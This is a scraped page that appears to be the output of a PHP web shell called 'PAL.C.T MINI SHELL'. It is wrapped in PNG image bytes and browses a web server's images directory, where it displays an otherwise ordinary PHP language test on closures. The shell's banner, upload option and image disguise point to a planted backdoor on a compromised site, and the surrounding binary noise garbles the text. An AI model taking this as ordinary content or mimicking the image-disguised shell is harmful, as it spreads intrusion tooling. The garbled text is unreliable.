php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/php-7.1.11/Zend/tests/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/php-7.1.11/Zend/tests/closure_037.phpt

--TEST--
Closure 037: self:: and static:: within closures
--FILE--
<?php
class A {
	private $x = 0;

	function getClosure () {
			return function () {
				$this->x++;
				self::printX();
				self::print42();
				static::print42();
			};
	}

	function printX () {
		echo $this->x."\n";
	}

	function print42() {
		echo "42\n";
	}
}

class B extends A {
	function print42() {
		echo "forty two\n";
	}
}

$a = new A;
$closure = $a->getClosure();
$closure();
$b = new B;
$closure = $b->getClosure();
$closure();
?>
Done.
--EXPECTF--
1
42
42
1
42
forty two
Done.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`